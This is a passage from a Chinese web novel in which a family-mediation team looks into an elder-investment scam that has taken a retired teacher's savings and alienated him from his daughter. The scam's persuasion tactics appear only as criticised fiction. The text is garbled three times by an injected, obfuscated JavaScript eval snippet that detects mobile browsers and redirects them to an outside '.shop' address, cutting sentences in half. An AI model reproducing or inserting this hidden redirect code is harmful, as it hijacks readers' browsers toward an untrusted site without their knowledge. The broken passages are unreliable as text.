杨亚波看着她,目光中有失望,有遗憾。 徐寄遥推开门,走廊的灯光倾泻进来,在她的脚下铺成一条金色的路。 "打扰了,杨总。" 她迈出了门。 / 门关上了。 杨亚波走到酒柜前,拿出一瓶单一麦芽威士忌,倒了一杯,没有加冰。 他走回落地窗前,整个北京城铺展在他脚下,璀璨而冷漠。 他喝了一口酒,烈酒灼烧着喉咙,却温暖不了胸口那个冰冷的空洞。 徐寄遥拒绝了他。 不是策略性的拒绝,不是为了抬高收购价格的姿态,是根本性的拒绝。 她拒绝的是他整个世界观。 她用她的存在证明了他的虚假,用她的坚持映照出了他的妥协。 这是一种比商业失败更深刻的打击。 "徐、寄、遥。" 他喃喃自语,走回沙发。拿起那份一直放在茶几上的文件。 代吵的收购合同。条款优厚,框架严密,足以让任何理性的创业者动心。 他拿着合同,走到碎纸机前,停顿了一下,然后松开了手。 碎纸机发出低沉的轰鸣,将纸张吞噬,切成无数细条。 48.消失的养老金(一):老教师的家 2025年8月2日,上午。 网约车停在一条窄巷口,司机回头看了一眼后排的三个人,“到了”。 徐寄遥推门下车,一股热浪扑面而来。 八月的北京,太阳毒得能把柏油路晒化,空气里弥漫着一股灰尘和尾气混合的味道。 吴小糖从另一侧跳下来,手搭在额头上遮阳光,一边走一边翻手机。 “寄遥姐,你看后台了吗?今天又来了好几个订单,都是吐槽和解大师的。” 徐寄遥和俞彩虹都没说话,往小区里走。 吴小糖跟在后面,手指在屏幕上划拉,一条一条念。 “这个,客户ID叫‘再也不信专家’,说他在和解大师上花了八千块买课程,听完之后跟父母吵了三个月,现在父母不接他电话了。他说,‘早知道还不如不学’。” “还有这个,‘绝望的女儿’,说她妈在和解大师上听了几节课,回来就说她是‘情感勒索’,要跟她断绝关系。她说她妈以前不是这样的,现在连家都不回了。” 她抬起头,看着徐寄遥。 “好奇怪!最近来找我们的,十个里面有七八个跟和解大师有关。不是被坑了钱,就是被搞得家庭不和。那些人到我们这儿来下订单,有的说是‘想找人评评理’,有的说‘就想骂醒他们’。” 三个人走进小区。 几栋六层楼房,外墙的白色瓷砖泛着黄,一楼住户焊着铁栏杆,晾着被单和几件老头衫。 这小区至少三十年了,没电梯,楼道窄,墙皮斑驳。门口的花坛虽然荒了,路面却扫得干干净净。 俞彩虹抬头看了看楼顶。 “这种老小区,住的都是退了休的老人。年轻人都搬走了,剩下的就是走不了楼梯的。” 他们走进单元门。声控灯坏了一半,走到二层才亮了一盏。 楼道里很暗,墙上的小广告层层叠叠,开锁的、通下水道的、收废品的,什么都有。但去的这家门口很干净,没有一张小广告,门把手擦得锃亮。 周雯已经在门口等着了。 她穿着一件洗得发白的T恤,头发随便扎着,眼睛红肿,一看就是哭过很多次。看到徐寄遥她们,她快步迎过来。 “徐老师,谢谢你们能来。” 徐寄遥点点头。“ 周雯掏出钥匙开门,手有点抖,捅了两下才插进锁孔。 / 客厅不大,但收拾得很整齐。沙发是老式的弹簧沙发,坐垫上铺着洗得干干净净的白色蕾丝垫。 茶几玻璃面擦得透亮,下面压着一张发黄的报纸。电视机是那种厚厚的老款,屏幕上搭着一块绣花的白布。 靠墙是一整排书架,从地面一直顶到天花板,书塞得满满当当。书架最上层放着几个镜框,最大的是一个集体照,写着“XX中学89届高三(2)班毕业留念”。 照片里,一个中年男人站在后排中间,穿着白衬衫,腰挺得很直。 这里是周瑞堂的家,他是一名退休老教师。昨天,他女儿周雯在代吵APP下了单。 周雯从厨房端了几杯水出来,放在茶几上。 她丈夫张磊跟在后面,拎着一个鼓鼓囊囊的帆布袋,在角落里坐下。 “坐吧,都坐。”周雯招呼着,自己在对面沙发坐下。 / “我也不知道从哪儿说起。”周雯开口,声音沙哑。 “我爸现在根本不让我进门。前天我过来送菜,在门口站了四十分钟,敲了半小时门,他就是不开。” 屋里很安静,只有墙上老式挂钟的滴答声。 “我喊他,我说爸,是我,我给你送点菜。他不应。我又喊了一声,他说‘放门口吧’。我就把菜放在门口,站在那里等了一会儿。门一直没开。后来我走了,走到楼下回头看,他站在窗户边上,看着我。我朝他挥手,他转身回去了。” 吴小糖忍不住问:“电话呢?他接电话吗?” 周雯摇摇头。 “不接了。微信也不回。上个月还回个‘嗯’‘哦’,这个月干脆不回了。我发十条消息,一条都没有。” 她从包里掏出手机,翻出聊天记录,递给徐寄遥。屏幕上是一长串绿色气泡,全是她发的,对面一片空白。 “爸,吃饭了吗?” “爸,今天降温了,多穿点。” “爸,我做了你爱吃的红烧肉,给你送过去。” “爸,你回我一句行不行?” 每一条都孤零零地悬在屏幕上,没有回音。 徐寄遥把手机还给她。 “周女士,您最后一次跟父亲好好说话,是什么时候?” 周雯想了想。 “六月初。我回来看他,给他做了顿饭。吃饭的时候,他说想报一个什么创业班,学点新东西。我说你都退休了,学那个干嘛。他就不高兴了,说退休就不能学习了?我说不是不能学,是怕你被人骗。他直接把筷子一放,说你们就是看不起我。” 她声音更低了。 “我说爸,我不是看不起你,我是担心你。他说你担心我什么?担心我把钱花光了?钱是我自己的,我想怎么花就怎么花。你们不要动不动就说老人被骗,你们才被骗呢。你们被手机骗了,被短视频骗了你们懂什么?” 她眼眶红了。 “我当时也不知道该怎么说了。” 徐寄遥等了一会儿,等她情绪平复一些。 “周女士,您父亲以前跟您关系怎么样?” 周雯说:“挺好的。我妈走得早,我们父女俩相依为命。我结婚的时候,他把自己攒的钱拿出来给我付首付。我说不用,他说你拿着,爸就你一个闺女。他以前什么事都跟我说。学校里的事,学生的事,退休之后看了什么书,想了什么事,都跟我说。我不知道从什么时候开始,他什么都不跟我说了。” “大概是什么时候变的?” 周雯想了想。 “今年春天,三四月份的时候。他开始往外跑,说是参加什么老年活动。” “我问他什么活动,说是‘银发创业’,教老年人创业的。我说你都退休了,创什么业。他说你懂什么,现在老年人创业的多的是。我问他具体做什么,他说你不用担心,人家是正规机构。我问他在哪儿上课,他说在市区。我问跟谁学的,他说都是退休的老教授、老专家。我问收不收费,他说不收费,公益活动。” “后来呢?开始收费了?” 周雯苦笑了一下。 “后来他就开始往回带东西。鸡蛋、油、大米,说是参加活动送的。我说爸,天下没有免费的午餐。他说你就是疑心重,人家是真心实意帮老年人的。说那些人的好话。说老师怎么怎么有水平,说他这辈子遇到的好人都在这个组织里了。我说爸,你别被人骗了。他一下子就火了,说你把我想成什么了?我教了四十年书,我会被人骗?你这是瞧不起我!” 她的声音哽住了。 张磊在旁边轻轻拍了拍她的背。她深吸一口气,继续说下去。 “六月底的时候,他跟我说,想投一个项目。我问什么项目,他说你不懂。我问多少钱,他不说。我问了几次,他才说要六十万。” 吴小糖倒吸一口气。 “六十万?” 周雯点头。 “我当场就急了。我说爸,你哪来的六十万?他说我自己的钱,不用你管。我说那是你一辈子的积蓄,你不能就这么扔出去。他说你懂什么,人家是正规项目,一个月收益百分之二十。我说,这是诈骗。他把桌子一拍,说你见过诈骗吗?你什么都不懂就在这儿瞎说。我说天上不会掉馅饼。他气得浑身发抖,说你是不是盼着我穷?你是不是盼着我过不好?” 她的眼泪终于流下来。 “我说爸,我不是那个意思。他说你就是那个意思。你们这些年轻人,自己过好了,就见不得老人好。我说你怎么能这么说?他说我说的不对吗?你一个月来看我几次?你跟我说过几句话?你了解我吗?你知道我想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355338|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么吗?” 她擦了擦眼泪。 / 徐寄遥安静地听着。 “后来他就把我赶出来了。说以后别来了,来了也不开门。我打电话,他不接。发微信,他不回。上个月我实在不放心,悄悄回来看,发现他根本不在家,跟邻居打听才知道,我爸现在每天都出去,早出晚归,跟上班似的。” “我隔几天趁他不在的时候,回来看看。他有时候出去参加活动,我就赶紧去家里收拾收拾,洗洗衣服,做顿饭放冰箱里。” 徐寄遥问:“周女士,您今天找我们来,希望我们做什么?” 周雯说:“我想让我爸清醒过来。钱没了就没了,我能挣。但他不能一辈子活在那个骗局里。还有就是……我想让他知道,我不是不孝,我是担心他。” 张磊从帆布袋里掏出一摞资料,放在茶几上。 纸张哗啦啦地响,有几页滑到地上,吴小糖弯腰捡起来。 “这些是我在他书架后面找到的,”周雯说,“藏在最里面,以为我们翻不到。” 徐寄遥拿起最上面一本。封面上印着《银发创业指南》,花花绿绿的,和这个家里的旧书格格不入。 翻开内页,全是“成功案例”。王阿姨退休后做电商月入三万,李叔叔直播带货粉丝十万,张老师创业一年买房买车。每一页都配着彩色照片,照片里的老人笑得阳光灿烂。 另一本是《夕阳红创业联盟会刊》,印刷粗糙,目录上有“创业故事”“专家观点”“学员分享”之类的栏目。 徐寄遥翻到一篇,作者署名“周瑞堂”。标题是《退休不是终点,是起点》。 “教了一辈子书,带了一千多个学生。我以为这就是我的人生。退休之后才发现,我的人生还长着呢。感谢夕阳红创业联盟,让我找到了新的方向。” 文章下面还有一张照片。他站在一个会议室里,面前摆着话筒,身后是投影幕布。穿着那件洗得发白的中山装,但腰挺得很直,和年轻时一样。脸上带着笑,眼睛里有一种光。 俞彩虹接过去看了几行,眉头皱起来。 / 徐寄遥从资料堆最底下抽出一份合同。 A4纸,四页,字很小,密密麻麻的。 她翻到最后一页,签名处写着“周瑞堂”三个字,“周”字的最后一笔往上挑,很有特点。 “这份合同,是您父亲自己签的?” 周雯接过去看了一眼。 “是他的字。我认得。” 徐寄遥把合同内容仔细看了一遍。 甲方是“夕阳红创业联盟”,乙方是周瑞堂。合同名称叫《项目投资咨询服务协议》。 条款写得很绕,但核心意思就一个:乙方支付六十万元咨询服务费,甲方提供“创业指导”和“资源对接”服务。服务期限一年,期满后不退款。 特别条款里写着:“乙方确认,已充分了解项目风险,自愿做出投资决策。甲方不对投资结果做任何承诺。” 徐寄遥看完,把合同放下。 “周女士,您父亲那个项目,具体是什么时候开始接触的?” 周雯想了想。 “三月份。一开始是有人上门推销,送鸡蛋送油,说是关爱老年人的公益活动。我爸去了几次,回来就说那些人特别好。四月份开始参加他们的活动,五月份说要投钱,六月份就把钱转出去了。” 她顿了顿。 “合同是六月底签的。我七月初才知道这件事。知道的时候,钱已经转走了。” “报警了吗?” “哪敢报警啊,我爸说要是我报警,就跟我断绝父女关系……” 徐寄遥看着她。 “周女士,这件事,您要有心理准备,不会很快解决。” 周雯握住她的手,握得很紧。 “徐老师,我不怕等。我就是想让我爸知道,我在乎他……” 徐寄遥点点头。 “我们会找到办法的。” 49.消失的养老金(二):代吵介入 回到工作室,徐寄遥把那摞资料放在茶几上。吴小糖凑过来,一页一页翻着那本《夕阳红创业联盟会刊》,越翻眉头皱得越紧。 “寄遥姐,你看这段话,‘子女的反对,本质上是不信任。他们不相信父母有能力做出正确的判断,不相信父母有能力支配自己的财产。’” 她抬起头,“这话我怎么看着这么耳熟?” 俞彩虹坐在旁边,接过去看了一眼。 “和林浩然那个群里的话术,一模一样。只是把‘父母’换成了‘子女’,把‘控制’换成了‘不信任’。同一个模子刻出来的。” 徐寄遥靠在椅背上,盯着天花板。脑子里在过周雯说的那些话,“我爸以前什么事都跟我说”“他以前不是这样的”。 一个人的变化,是从什么时候开始的?从他发现自己不被需要的时候开始的。 骗子懂这个。 “应宽,你查查。” 应宽点头,手指飞快敲击键盘,眉头却皱起来。 “这个课程体系,和心之愈的一模一样。只是换了名字。话术模板、学员手册,甚至课程大纲的编号都没变。” “所以他们是把骗年轻人的那套东西,改一改拿来骗老人?” 应宽点点头。 “同一个模子,换了个壳。” “而且‘夕阳红创业联盟’的服务器还是博云加速。IP段都没换。” 吴小糖说:“又是和解大师??离谱!” 应宽点头:“百分之百。” 徐寄遥站起来,走到白板前,拿起笔。 在白板上写下几个字:“夕阳红创业联盟”。 下面画一条线,写上“心之愈”,再画一条线,写上“和解大师”。 写完之后,她退后一步看了一会儿。 “他们在建一个系统。心之愈洗脑年轻人,让他们恨父母。夕阳红洗脑老人,让他们防子女。两边一拆,一个家庭就散了。” 徐寄遥把那份合同抽出来,放在桌上。 “六十万。周瑞堂一辈子的积蓄。” 应宽看了一眼合同,没说话。 俞彩虹坐在沙发上,把那本会刊翻到后面几页。 “寄遥,你看这里。” 徐寄遥走过去。俞彩虹指着其中一篇文章,标题是《子女为什么反对我们晚年重新出发?》。 正文不长,但每一句都像是冲着周雯这样的人说的。 “很多子女一听说父母要参加社会活动、要创业、要投资,第一反应就是反对。在他们眼里,父母老了,被社会淘汰了,不具备竞争力了,根本不应该折腾。但他们有没有想过,父母为什么想重新发出?是因为想证明自己还有用,是因为不想成为子女的负担,是因为想在人生最后阶段过上属于自己的生活。子女的反对,表面上是为了父母好,实际上是不信任父母的能力。这种不信任,本质上是一种权利不对等的实质体现,是对父母整个人生的全盘否定,比任何伤害都深。” 徐寄遥看完,把会刊放下。 “洗脑话术。” 俞彩虹点头。 吴小糖说:“那周老师那边怎么办?” 徐寄遥没回答。她转过身。 “应宽,能查到他们最近的活动安排吗?” 应宽敲了几下键盘。 “明天下午两点,李曼青有一场‘家庭关系咨询’,地点在华威酒店。” 徐寄遥点点头,“明天我们过去,看看是怎么个事。” / 第二天下午,徐寄遥和吴小糖到了华威酒店。 三楼会议室的门开着,里面已经坐了不少人。全是头发花白的老人,有的在翻资料,有的在小声聊天,有的闭着眼睛打盹。 吴小糖在后面小声说:“这么多人?” 徐寄遥扫了一眼,“三十多个。” 她们找了个靠后的位置坐下。旁边的老太太看了她们一眼,没说话,转过去继续翻手里的资料。 每个座位上都放着一个文件袋,里面装着和昨天那摞资料一样的东西。 两点整,会议室的门关上了。 一个女人走上台。短发,戴眼镜,穿着白色衬衫和深色西裤。 她站在桌子后面,拿起话筒,对着台下笑了笑。 “各位叔叔阿姨,下午好。欢迎来参加今天的分享会。我是夕阳红创业联盟的导师,李曼青。” 台下响起稀稀拉拉的掌声。 李曼青的声音很温柔,像是哄孩子。 “今天来了不少新朋友,我先介绍一下我们联盟。夕阳红创业联盟,是专门帮助老年人创业的公益组织。我们相信,退休不是终点,是起点。” 她顿了顿,扫了一眼台下。 “很多叔叔阿姨退休之后,觉得没事干,觉得不被需要,觉得自己没用了。其实不是你们没用,是社会没有给你们机会。我们联盟就是给大家创造机会的地方。” 有人点头。坐在徐寄遥前面的一个老大爷,笔记本上已经写了好几行字,字迹歪歪扭扭的,但写得很认真。 李曼青讲了大概二十分钟,从“老年创业的意义”讲到“成功案例”,从“如何选择项目”讲到“子女为什么不支持”。 讲到子女那一段的时候,她的语气变了。 “很多叔叔阿姨跟我说,子女反对他们创业。有的说你们年纪大了,别折腾了。有的说你们不懂,别被人骗了。还有的,干脆把你们的银行卡拿走,把你们的退休金卡收走。他们说这是为你们好。” 她放下话筒,看着台下。 “你们觉得,这是为你们好吗?” 台下安静了几秒。一个老太太开口,声音不大但很清楚。 “是怕我们花钱……” 李曼青点点头。 “对,其实是怕你花钱。怕你把钱花光了,他们就没得花了。怕你有了自己的事做,就不听他们的话了。怕你有了自己的生活,就不需要他们了。” 台下的人开始小声议论。 李曼青继续说:“我们联盟的理念是什么?是‘银发独立’。经济独立,精神独立,生活独立。老了也要有自己的一片天。老了也要为自己活一次。” 掌声比刚才响了。 / 李曼青讲完之后,投影幕上打出一行字:“学员分享”。 一个穿灰色夹克的老头走上台。头发全白了,但腰挺得很直,走路带风。 他站在台上,看了看台下,清了清嗓子。 “各位老哥老姐,我叫周瑞堂。退休教师,教了四十年语文。” 徐寄遥坐直了身体。 周瑞堂的声音很洪亮,像是回到了讲台上。 “我退休之后,头两年还好,看看书,浇浇花,日子过得去。后来就不行了。每天就是等天亮,等天黑。等女儿来看我,等她走了,继续等。等什么呢?等死。” 台下安静了。 “去年年底,有人介绍我来夕阳红联盟。我一开始也不信,哪有这么好的事?后来听了李老师的课,我想明白了。我不是不信,是不敢信。我怕信了又失望。” 他的声音有点抖。 “李老师说了一句话,我记到现在。她说,‘周老师,您教了四十年书,带了一千多个学生。您这一辈子,不是白活的。您还能发光发热。’我听了这句话,哭了。” 他停了一下,平复呼吸。 “我女儿不让我投这个项目。她说我被人骗了。她不懂。我不是被人骗了,我是想证明自己还有用。” 台下有人鼓掌。 / 周瑞堂讲完之后,李曼青重新拿起话筒。 “谢谢周老师的分享。周老师的话,让我很感动。也让我想到一个问题,为什么子女不理解我们?” 她看着台下。 “因为子女站在他们的角度看问题。他们觉得父母老了,应该休息。他们觉得父母不懂,应该听他们的。他们觉得父母的钱,迟早是他们的,应该省着花。他们从来不会站在父母的角度想,父母想要什么?父母需要什么?父母开不开心?” 她顿了顿。 “我们联盟要做的,就是帮叔叔阿姨们争取这个权利。为自己活一次的权利。花自己的钱的权利。不被子女控制的权利。” 掌声比之前更响了。 李曼青等掌声停下来,又说: “我们联盟现在有一对一咨询服务,免费的。如果叔叔阿姨们有什么困惑,可以单独找我聊。我每周三下午在这里,随时欢迎。” / 分享会结束后,老人们慢慢往外走。 周瑞堂从台上下来,李曼青迎上去,跟他握手,说了几句话。周瑞堂笑着点头,脸上的皱纹都舒展开了。 李曼青递给他一个文件袋,比座位上的那个厚很多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358814|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周瑞堂接过去,小心翼翼夹在腋下。 吴小糖小声说:“寄遥姐,我们要不要上去跟周老师说话?” 徐寄遥摇头,“不急,先看看。” 周瑞堂转身往外走。走到门口的时候,一个女人迎上来,跟他说话。 “周老师,今天的分享会怎么样?” 周瑞堂笑着说:“好,特别好。李老师讲得真好。” 那个女人侧过身,徐寄遥看见她的脸:何久红。 她穿着那件深色套装,头发梳得一丝不苟,整个人看起来比实际年龄年轻。 吴小糖在旁边小声说:“寄遥姐,是你妈……” 徐寄遥皱起眉头,没说话。 何久红说:“周老师,您女儿迟早会理解的。我们这些做父母的,不就是想为自己活一次吗?” 周瑞堂点头,“对,对。何老师说得对。” 两人又闲聊了几句,周瑞堂笑着点头,拎着文件袋走了。 何久红转过身,看见徐寄遥。 四目相对。 何久红的表情变了一下,朝徐寄遥走过来。 “遥遥,你怎么在这儿?” 徐寄遥站起来,“妈,我过来办事。” 何久红看了一眼吴小糖和俞彩虹,目光在她们身上停了一秒,又转回徐寄遥身上。 “你的事,妈管不了,你愿意折腾,你折腾去。” 她转身要走。徐寄遥叫住她。 “妈,你也参加了?你知道这个联盟是干什么的吗?” 何久红停下来,没有回头。 “知道。帮老年人创业的。” “你投钱了?” 何久红转过身,看着她。 “投了,怎么了?” 徐寄遥一听她妈的声音就想暴走,压着脾气问: “妈,我爸知道这个事吗……” 何久红的脸色立刻沉了下去,满脸写着“你问的可真搞笑”。 “妈是一家之主!你忙你的吧!妈走了。” 她转身,往电梯走去。 徐寄遥哑口。看着何久红进了电梯。 电梯门上方的数字开始跳动。 徐寄遥咬着后槽牙说; “小糖,陪我去找下李曼青。” / 现场只剩下稀稀拉拉几个老人,有的在翻资料,有的在等叫号。 李曼青坐在最里面的一张桌子后面,面前摆着一台笔记本电脑和几份表格。 她对面坐着一个老太太,正在说话,说着说着眼圈就红了。李曼青递过去一张纸巾,轻轻拍了拍老人的手背。 过了大概二十分钟,老太太从李曼青对面站起来,抹着眼泪走了。 李曼青拿起水杯,起身的时候,看见了徐寄遥。 她的表情没变,还是那个温和的笑。 她走过来,“徐小姐,久仰久仰。” 徐寄遥说:“李老师。” 李曼青笑了笑,“没想到您也对我们的活动会有兴趣,非常欢迎,更期待以后我们能成为同事。” 徐寄遥脸上的肌肉抽动了一下。 “我们有个客户的父亲,参加了你们的联盟。” 李曼青点点头。 “周老师嘛,我知道。他女儿最近打了很多电话投诉我们。” 徐寄遥看着她。 李曼青说:“周老师的问题,比较典型,退休老人,孤独,不被需要,不被理解,被女儿当成老糊涂。我们给他尊重,给他舞台,给他被需要的感觉。这和你们做的事,是一样的。” 徐寄遥说:“你们拿走他六十万。” 李曼青一笑,说:“那是他自愿的。合同上写得清清楚楚,他签了字,按了手印。” 徐寄遥看着她。李曼青的笑容没变,温和、耐心、无懈可击。 “李老师,你知道那六十万是他一辈子的积蓄吗?” 李曼青说:“徐小姐,周老师为什么愿意投这六十万?不是我们骗他,是因为他信任我们,他在这里重新获得了社会认同,他女儿能给他这个吗?并且我们提供的是正规金融机构的合规理财产品,你怎么认为这六十万就拿不回来了?说不定翻倍赚呢!” 她说完话,不等徐寄遥反应,端着水杯走回座位。 吴小糖在后面小声说: “这是急眼了。” “走,我们回去。” 50.消失的养老金(三):家庭会议 2025年8月5日,上午九点。 周雯站在父亲家门口,手里攥着那把备用钥匙。这是她用鞋柜夹层里藏的那把配的,每次来都用它开门。今天不一样。今天不是来收拾房子的,是来摊牌的。 徐寄遥站在她旁边,齐肩短发别在耳后。吴小糖和俞彩虹跟在后面,手里拎着一个布包,里面装着这几天整理出来的资料。 “开门吧。”徐寄遥说。 周雯深吸一口气,把钥匙插进锁孔。门开了。屋里很暗,窗帘拉得严严实实,只有电视机亮着,声音开得很小。 周瑞堂坐在沙发上,穿着一件洗得发白的背心,手里端着一个搪瓷杯。看见她们进来,他的脸色沉下来。 “你怎么又来了?” 周雯站在门口,没敢往里走。 “爸,我带了几个人来,想跟你聊聊。” 周瑞堂看了徐寄遥一眼,又看了俞彩虹一眼。 “聊什么?聊我被人骗了?聊我不该花自己的钱?”他的声音不大,但每个字都硬邦邦的。 徐寄遥往前走了一步,“周老师,我们不是来劝您的。就是想跟您聊聊您和女儿之间的事。您放心,聊完我们就走。” 周瑞堂看着她,沉默了一会儿。他把搪瓷杯放在茶几上,往沙发旁边挪了挪。 “坐吧。” / 徐寄遥在沙发上坐下,吴小糖和俞彩虹坐在旁边的折叠椅上。周雯在父亲对面坐下,两只手放在膝盖上,不敢看他。 屋里很安静。电视机的声音显得格外响,周瑞堂拿起遥控器关掉了。 “说吧。”他看着徐寄遥,“你想聊什么?” “周老师,您女儿跟我们说,您以前当老师的时候,带的班年年都是年级第一。她说您讲课讲得好,学生都喜欢您。毕业几十年了,还有学生回来看您。每年教师节,您能收到好多贺卡。” 周瑞堂的表情动了一下。 “周老师,您女儿跟我们说,您已经很久没跟她好好说过话了。” 周瑞堂看了周雯一眼,没说话。 “您不接她电话,不回她微信,她来家里您也不开门。” 周瑞堂沉默了一会儿,“我不是不接她电话,我是不知道该跟她说啥,一开口就是吵。她说来说去就是那几句,说我被人骗了,说我不知道现在社会险恶,说不到一块去。” 徐寄遥点点头,“周老师,您觉得,她为什么担心您?” "她觉得我老了,"他的声音沙哑,"觉得我不行了,觉得我会被人骗,会乱花钱,会把棺材本都搭进去。" “不是。”徐寄遥的声音很轻,但每个字都很清楚。“她是怕您伤心。” 周瑞堂看着她。 “您女儿不是怕您花钱,她是怕您把钱花出去之后,发现那一切都是假的,到时候您扛不住。” 周瑞堂低下头,看着自己的手。那双手青筋毕露,指节粗大,写了四十年粉笔字的手。 "可是女儿的担心,却让您感到被冒犯。"徐寄遥继续说, 周瑞堂愣住了。他看着徐寄遥,目光里的敌意减少了一些,多了一些困惑。 "您教了四十年书,"徐寄遥继续说,"培养了上千个学生,有不少人现在都事业有成。在社会上,您一直是被尊重和被需要的,更是被学生们仰望的。但退休后,这种''被需要''的感觉消失了。您发现,女儿看您的眼神,从''仰望''变成了''俯视'',从''请教''变成了''保护''。这种落差,比退休本身更让您难受。" 周瑞堂的嘴唇颤抖着。他想说"对",但自尊心让他咽了回去。 "更让您难受的是,"徐寄遥的声音柔和下来,"在您和女儿之间,其实从来没有建立过真正的沟通模式。" 周雯在旁边低下头,肩膀微微颤抖。俞彩虹轻轻拍了拍她的背。 “您女儿偷偷摸摸进来,给您做饭,给您洗衣服,怕您发现,怕惹您不高兴。她不会说别的话,她只会做这些事。” 周瑞堂没说话,但他的嘴唇在抖。 / 俞彩虹在旁边开口: “我研究家庭关系很多年,父母和子女之间,很多时候不是不爱,是不会表达。子女怕父母被骗,父母怕子女不信任自己。两边都是好意,但说出来的话,全变成了刀子。” 周瑞堂没有说话。他坐在那里,一动不动。 徐寄遥依然是聊天的语气,“我们跟您女儿聊了很多,她说,您退休之后,就不怎么出门了。她让您去跟她一起住,您不肯。让您去老年大学,您说没意思。她工作忙,一个月也就能来看您一两次。” “周老师,您女儿不会说好听的话,她只会做做饭、洗衣服。她不会说‘爸我想你’,她只会问‘爸你吃饭了吗’。” 周瑞堂抬起手,擦了擦脸。他开口了。 “我知道,她不是坏心。”他停了一下,“我就是烦,她一来就说我这不对那不对。我买点什么,她说我被骗了。我参加个活动,她说我被洗脑了。” 他抬起头,看着徐寄遥。 “我教了四十年书,管了四十年学生。现在退休了,被自己女儿管。她说这个不能干,那个不能信。她把我当什么?当老糊涂?” 俞彩虹在旁边笑了,“周老师,您以前管学生的时候,学生也烦您吧?觉得您管得太多,觉得您不信任他们。现在轮到您女儿管您了,您也烦她。一样的。” 周瑞堂想了想,没说话。但他的表情,没那么硬了。 / 徐寄遥知道,时机到了。 “周老师,那个项目,您投了六十万。我们能看看合同吗?” 周瑞堂的表情又变了。他看着她,眼睛里有一种警惕。 “你们还是冲着钱来的。” 徐寄遥摇头。“不是冲着钱,是冲着您。” 她顿了顿。 “您刚才说,您不是老糊涂。我们信。您是教了四十年书的老师,您比大多数人都清醒。但您对这个项目,真的了解吗?” 周瑞堂沉默了一会儿。然后他站起来,走到书架前,从最上层抽出一个文件袋。他回到沙发上,把文件袋放在茶几上。 “都在这里了。你们自己看。” 徐寄遥打开文件袋。里面有合同复印件、课程表、讲师介绍,还有几张周瑞堂在活动现场的照片。 她翻到合同那一页,仔细看了一遍。 “周老师,这份合同您看仔细了吗?” 周瑞堂说:“看仔细了。正规合同,有条款,有公章。” 徐寄遥点点头。“是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362440|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合同是正规的。但您注意到这一条了吗?”她指着特别条款里的一行字。“‘乙方确认,已充分了解项目风险,自愿做出投资决策。甲方不对投资结果做任何承诺。’” 周瑞堂看了一眼。“我看到了。投资有风险,这我知道。” 徐寄遥说:“您知道投资有风险,但您知道这个风险有多大吗?” 她从公文包里抽出一份资料。 “这是去年银保监会发布的数据。老年人理财,亏损率是32%。也就是说,每三个老年人投理财产品,就有一个是亏的。这不是骗局,是正规理财产品的正常数据。” 周瑞堂愣了一下。 徐寄遥继续说:“正规理财产品,也有亏损的。合同里写得很清楚,‘甲方不对投资结果做任何承诺’。就是说,您的六十万,可能变成一百万,也可能变成三十万,也可能变成零。” 她看着周瑞堂,“您了解这个项目具体投什么吗?” 周瑞堂没说话。 “您知道他们的资金流向吗?知道他们的盈利模式吗?知道他们的风控措施吗?” 周瑞堂低下头。 “您不知道。因为他们的宣传册里没写。他们的讲座里没讲。他们的合同里也没写。只写了‘月收益20%’。” 周瑞堂抬起头,看着她。 / 窗外突然传来嘈杂的声音。 "叔叔阿姨,了解一下银发独立计划!" "子女控制老人财产,是新型家庭暴力!" "老年人也有自主权,不要让爱变成伤害!" 周雯的脸色变了。她跑到窗边,拉开窗帘,看见楼下的小区花园里,几个穿着红色马甲的年轻人正在向老人们发放传单。 他们举着横幅,上面写着"反对以爱为名的控制""尊重银发自主权""夕阳红创业联盟支持您"。 "是他们,"周雯的声音发抖,"怎么还跑到社区里面来了!" 徐寄遥走到窗边,一眼就看见一个熟悉的身影。 李曼青站在人群中央,正在和小区里的老人们交谈,脸上带着那种温和、耐心、无懈可击的笑容。 周瑞堂也站了起来,走到窗边。他看见李曼青,身体僵硬了一下。 "周老师!" 李曼青像是感应到了什么,抬起头,正好看见窗边的周瑞堂。 她挥了挥手,笑容灿烂,"我们过来做社区宣传,没想到您住这里!欢迎下来参加!我们带来了项目的最新进展,第一笔收益可能要提前发放了!" 周瑞堂的身体明显震动了一下。 "第一笔收益",那是他证明自己"没被骗"的证据。 "爸,"周雯抓住他的手臂,"别去。听徐老师的……" 周瑞堂神情犹豫。 他看着楼下那些红色的马甲,那些热情的笑脸,那些写着"银发自主权"的横幅。他想起这三个月的"温暖",那种被重视的感觉。 "雯雯,我下去看看,"他说,声音变得急切,"就五分钟,听听她说什么。如果真的有收益……" "爸!徐老师她们还在这呢!"周雯的声音陡然提高。 “徐老师,你们再坐会儿,我去去就回!” 周瑞堂套了一件衬衣,下楼去了。 